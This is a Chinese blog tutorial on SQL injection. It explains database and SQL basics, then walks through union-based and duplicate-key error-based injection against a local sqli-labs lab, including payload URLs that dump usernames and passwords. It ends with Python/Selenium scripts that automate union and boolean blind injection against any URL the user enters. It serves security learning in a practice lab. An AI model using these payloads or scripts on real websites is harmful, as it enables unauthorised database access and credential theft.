数据库管理系统
-
数据库
数据库是存放数据的仓库。它的存储空间很大,可以存放百万条、千万条、上亿条数据。但是数据库并不是随意地将数据进行存放,是有一定的规则的,否则查询的效率会很低。当今世界是一个充满着数据的互联网世界,充斥着大量的数据。即这个互联网世界就是数据世界。数据的来源有很多,比如账号密码、出行记录、消费记录、浏览的网页、发送的消息等等。
-
数据库管理系统
数据库管理系统是一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库,简称 DBMS。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性。大多数人将数据库管理系统简称为数据库,其实这是不准确的。
数据库管理系统又分为关系型数据库管理系统和非关系型数据库管理系统。对于关系型数据库管理系统而言,所有的数据都是以行和列的方式进行存储,即数据存放到数据表中,数据表在存放到数据库中。关系型数据库管理系统有很多,常见的有Oracle、DB2、MySQL、Microsoft SQL Server等多个品种,所有的关系型数据库管理系统都支持SQL语法。对于非关系型数据库管理系统而言,数据不再是存放在表格中,更像是记录在一张A4纸上,当然,这些A4纸也会放在数据库中。常见的非关系型数据库有Membase、MongoDB等,这些数据库管理系统都不支持SQL语法。
-
如图所示,左侧就是一个数据库管理系统,整体像一个柜子,而每个抽屉就是一个数据库,在每个数据库中,都放着一张一张的数据表,图中的是一张表格,代表着关系型数据库管理系统。
SQL语法
数据库管理系统就像是一个命令行窗口,通过命令来控制数据库。而这里的命令就是SQL语句。下面将介绍SQL注入中常用到的SQL语句。
环境搭建
- 此处,使用phpstudy搭建sqli-labs,网上有很多教程,不再赘述。
- 搭建完成之后,sqli-labs会自动创建一个security数据库。
- MySQL数据库管理系统自带了一个非常重要的数据库:information_schema。这个数据库中有三张非常重要的表:schemata、tables、columns。在schemata表中,schema_name字段中,存储着MySQL管理的所有数据库;在tables表中,table_schema字段存放MySQL管理的所有数据库,table_name字段存放着所有数据库中的表;在columns表中,table_schema字段存放MySQL管理的所有数据库,table_name字段存放着所有数据库中的表,column_name字段存放着每张表中的字段名。
select 语句
-
基本语法
select 查询字段1,查询字段2,查询字段3,...,查询字段n from 数据库.表 where 字段名=字段值。
例如,在security数据库中有一张名为users的表,里面有三个字段,分别是id,username,password;select username, password from security.users where id=1表示:从security数据库中的users表中,找到id为1所在的那一行中,username和password所对应的数据。如图所示:
返回的结果为:
-
补充
如果查询的表在当前使用的数据库中,可以只写表名。即如果当前正在使用security数据库,那么上面的SQL语句可以写为 select username, password from users where id=1;
如果不写where条件语句,则表示查询该字段中的所有内容:select username, password from users;
*代表表中的所有数据内容,但是在注入中一般用不到:select * from users;
-
意义
SQL注入的目的就是为了获取数据库中的数据信息,因此基本上都是围绕着查询语句select进行构造。
union
-
作用
用来连接两个select语句。网站原本有自己的一条查询语句,我们想要构造一条新的查询语句进行注入时,需要用到union关键字。
-
基本语法
select 查询内容 from 数据库.表 where 字段名=字段值 union select 查询内容 from 数据库.表 where 字段名=字段值。
-
注意
第一条查询语句中的字段数要和第二条查询语句中的字段数一致。
如果查询的结果中,有相同的内容,则相同的内容只显示一次。可以使用union all 代替union来解决这个问题。
-
演示
select username from security.users union select user from mysql.db;
order by
-
功能
将查询到的结果按照指定字段进行排序。在注入时,我们需要判断网站原有的查询语句中,查询了多少个字段,为后面获取显示位做准备。如果order by 后面的数字超过了查询字段的个数,就会报错,小于或等于就会显示正常。因此,不断尝试,一定会判断出查询了多少个字段。
-
基本语法
select语句 order by 某个查询字段;或者 select语句 order by 第几个字段
-
演示
常用的SQL函数
floor():向下取整函数;
rand():随机函数,默认随机产生0到1之间的一个数;如果里面写了一个数,则会产生一系列0到1之间的数字,这些数字以及他们之间的顺序跟rand里面的数有关,换而言之,rand里面的数对应着一系列固定顺序的0到1之间的数。
count():统计指定字段中一共有多少行数据,count(*)统计整个数据表一共有多少行。
group by:根据指定的字段进行分组——指定字段中相同的数据分为一组,即相同的数据只出现一次。当group by 和 count(*) 搭配使用时,会产生一张虚拟表,虚拟表中共有两个字段,第一个字段表示主键,第二个字段表示count(*),每一行count(*)里的数字都表示改行主键字段中的数据出现的次数。MySQL会逐行将分组字段中的数据于主键字段中的数据比对,如果有主键字段中已经有了该数据,则count(*)里面的数字+1,如果主键字段中没有该数据,则将该数据插入到主键字段中。
SQL注入
假设查询结果有三个字段,其中第二个和第三个字段为显示位:union select 1,2,database() --+中,database()(即字符串)只能放在数字的后面,不能写成 union select 1, database(), 3--+
联合查询注入
- 网站原本有自己的查询语句;
- 我们需要构造另一条查询语句获取数据库的相关信息;
- 使用联合查询将构造的语句与原来网站的语句相连;
- 需要知道网站原本的查询语句中,有几个字段,使构造的语句中具有相同字段数量(union的特性);
- 确认网站存在SQL注入漏洞时:
- 判断字段数量:order by 数字。假设order by 3是页面正常的,order by 4页面不正常,则说明,原来的网站原本的查询语句中,共查询了三个字段;
- 判断显示位:网站有可能只是将查询结果中某几个字段显示出来,因此,必须要知道网站的页面会显示哪几个字段。假设网站原本的查询语句中共有三个字段,此时,将前面的参数故意写错,让数据库查询不到(注意闭合符号),再使用 union select 'a', 'b', 'c',如果在页面中显示b和c,那么表示页面只会显示查询语句中的第二个和第三个字段。要查询的内容只需放在第二个和第三个位置即可;
- 使用group_concat()函数:如果查询结果中,数据有很多条,必须使用group_concat()函数,将他们连接成一条数据,因为网站只显示一条数据,当然其他类似的函数也可以,例如concat()、concat_ws(),只要能将多条数据连接成一条即可。
- 以sqli-labs的第一关为例:
- url:http://127.0.0.1/sqli-labs/Less-1/?id=1
- 确定存在SQL注入漏洞,闭合符号为 '
- 判断字段数量:http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+ 页面正常;http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+页面异常。确定字段数为3
- 判断显示位:http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3 --+ 页面显示2,3。确定显示再页面中的位置是第二个和第三个
- 获取数据库相关信息:http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1,database(),version() --+。得到数据库名称:security,得到数据库管理系统的版本:5.7.26
- 获取security数据库中存在的所有表:http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1, 2, (select group_concat(table_name) from information_schema.tables where table_schema="security") --+。得到所有的表:emails,referers,uagents,users
- 获取users表中的所有字段名:http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security") --+。得到所有的字段名:id,username,password
- 获取username字段和password字段中所有的数据:http://127.0.0.1/sqli-labs/Less-1/?id=0' union select 1, (select group_concat(username) from security.users), (select group_concat(password) from security.users) --+。得到username字段中所有的数据:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4;得到password字段中所有的数据:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
主键重复的报错注入
-
floor(rand(0)*2):0110110011101...
-
count(*)、group by、floor(rand(0)*2)搭配使用时,floor(rand(0)*2)产生结果的速度比往虚拟表中插入数据的速度快,比查询的速度慢。
-
select count(*),floor(rand(0)*2) from security.users group by floor(rand(0)*2);由于cont(\
*)与group by搭配使用,查询时,会产生一张虚拟表,并将floor(rand(0)*2)产生的一系列0和1作为主键字段中的内容。floor(rand(0)*2)产生第一个数字0时,MySQL将它与主键字段中的内容进行比对,由于此时还没有数据,因此MySQL想要将0插入到虚拟表的主键字段中,但是floor(rand(0)*2)产生结果的速度快于插入数据的速度,这时floor(rand(0)*2)已经产生了数字1,所以插入到主键字段的内容实际是数字1;floor(rand(0)*2)产生了第三个数字1,MySQL查询到主键字段中已经存在了该数据,所以count(*)里的数字+1;floor(rand(0)*2)产生了第四个数字0,由于主键字段中没有该数据,MySQL想要将其插入到主键字段中,但是在插入的这段时间内,floor(rand(0)*2)又产生了新结果——第五个数字1,因此数字1被强行插入到主键字段中,由于主键不可重复的规则,MySQL报错,在提示语句中会指明重复的数据。
-
利用报错的原理,可以将查询语句和floor(rand(0)*2)拼接到一起,让查询内容出现在报错语句中。可以利用concat()函数进行拼接。
-
select count(*),concat(database(),floor(rand(0)*2)) from users group by concat(database(),floor(rand(0)*2));
报错:Duplicate entry 'security1' for key '<group_key>'
-
rand(0)*2:数字可以改成其他的,只要保证能让主键字段中的数据重复即可。
sqli-labs
下面主要使用python脚本,通关sqli-labs,主要练习SQL注入和爬虫。新手想看具体的通关教程,请自行百度。
Less1-Less4_联合查询
import sys
from lxml import etree
from selenium import webdriver
from selenium.webdriver import ChromeOptions
from selenium.webdriver.chrome.options import Options
#无头浏览器
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--disable-gpu')
chrome = webdriver.Chrome(executable_path="./chromedriver.exe",chrome_options=chrome_options)
injection_characters = ["'","')","'))",'"','")','"))', " and 1=2"]
union_injection_url = input("请输入联合注入的url(不要带闭合符号):")
content = input("请输入查询内容:")
def judge_page(url):
chrome.get(url=url)
try:
br_element = chrome.find_element(by="xpath", value="/html/body/div/font[2]/font/br")
return True
except:
return False
# 判断闭合符号
print("[process] 正在判断闭合符号")
for i in injection_characters:
if i!=" and 1=2":
url = f"{union_injection_url}{i}"
if judge_page(url=url):
pass
else:
url = f"{url} --+"
if judge_page(url=url):
character = i
break
else:
pass
else:
url = f"{union_injection_url}{i}"
if judge_page(url=url):
print("没有判断出闭合符号")
sys.exit()
else:
url = url.replace(" and 1=2", " and 1=1")
if judge_page(url=url):
character = i
else:
print("没有判断出闭合符号")
sys.exit()
print(f"闭合符号:{character}")
# 判断回显位
print("[process] 正在判断字段个数")
if character==" and 1=2":
column_url = f"{union_injection_url} order by N"
else:
column_url = f"{union_injection_url}{character} order by N --+"
max_range = 300
for i in range(0, max_range+1):
url_1 = column_url.replace('N', str(i))
url_2 = column_url.replace('N', str(i+1))
if judge_page(url=url_1)==True and judge_page(url=url_2)==False:
column_quantity = i
break
else:
if i==max_range:
print("没有判断出字段的个数")
sys.exit()
else:
pass
print(f"字段个数为:{column_quantity}")
print("[process] 正在判断回显位")
def judge_page(url):
chrome.get(url=url)
try:
br_element = chrome.find_element(by="xpath", value="/html/body/div/font[2]/font/br")
return True
except:
return False
def get_content(url,xpath):
chrome.get(url=url)
tree = etree.HTML(chrome.page_source)
result = tree.xpath(xpath)
return result
showback_numbers = [str(i) for i in range(1, column_quantity+1)]
showback_numbers = ",".join(showback_numbers)
showback_url = [i for i in union_injection_url]
showback_url[-1] = f"-1{character}"
showback_url = "".join(showback_url)
showback_url = f"{showback_url} union select {showback_numbers} --+"
result = get_content(url=showback_url, xpath="/html/body/div/font[2]/font/text()")
print(f"显示位:{result[0][-1]},{result[1][-1]}")
# 获取数据库信息
get_info_url = union_injection_url[0:-1]
get_info_url = f"{get_info_url}-1{character} union select 1,2,{content} --+"
result = get_content(url=get_info_url,xpath="/html/body/div/font[2]/font/text()[2]")
if len(result)==0:
print("[result] 没有查到任何内容")
else:
result[0] = result[0].replace("Your Password:", "")
print(f"[result] {content}:{result[0]}")
Less-5_布尔盲注
import sys
from selenium import webdriver
from selenium.webdriver import ChromeOptions
from selenium.webdriver.chrome.options import Options
#无头浏览器
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--disable-gpu')
chrome = webdriver.Chrome(executable_path="./chromedriver.exe",chrome_options=chrome_options)
boolean_injection_url = input("请输入存在布尔盲注的url(要带闭合符号):")
content = input("请输入查询内容:")
#判断查询内容的长度
print(f"开始测试{content}的长度")
test_length_url = f"{boolean_injection_url} and length({content})=N --+"
length = 0
max_range = 1000 #测试长度的最大范围
for i in range(0, max_range+1):
url = test_length_url.replace('N', str(i))
chrome.get(url=url)
print(f"正在测试:{url}")
try:
element_center = chrome.find_element(by="xpath", value="/html/body/center")
length = i
break
except:
if i==max_range:
print(f"没有判断出{content}的长度")
sys.exit()
else:
pass
print(f"{content}的长度为:{length}")
# 判断查询内容的具体值
characters = []; values = []
for i in range(32, 65):
characters.append(chr(i))
for i in range(91, 127):
characters.append(chr(i))
characters[34] = '\\\\' #\在url中会被当作转移字符
test_value_url = f"{boolean_injection_url} and substr({content},N,1)='S' --+"
for i in range(1, length+1):
url = test_value_url.replace('N', str(i))
for j in characters:
get_url = url.replace('S', str(j))
chrome.get(url=get_url)
print(f"正在测试:{get_url}")
try:
element_center = chrome.find_element(by="xpath", value="/html/body/center")
values.append(str(j))
break
except:
if j==chr(126):
values.append("没有找到")
else:
pass
print(f"{content}的内容是:",end="")
for v in values:
print(v, end="")
标签:url,数据库,查询,union,字段,SQL,select,注入
From: https://www.cnblogs.com/brankyeen/p/17125167.html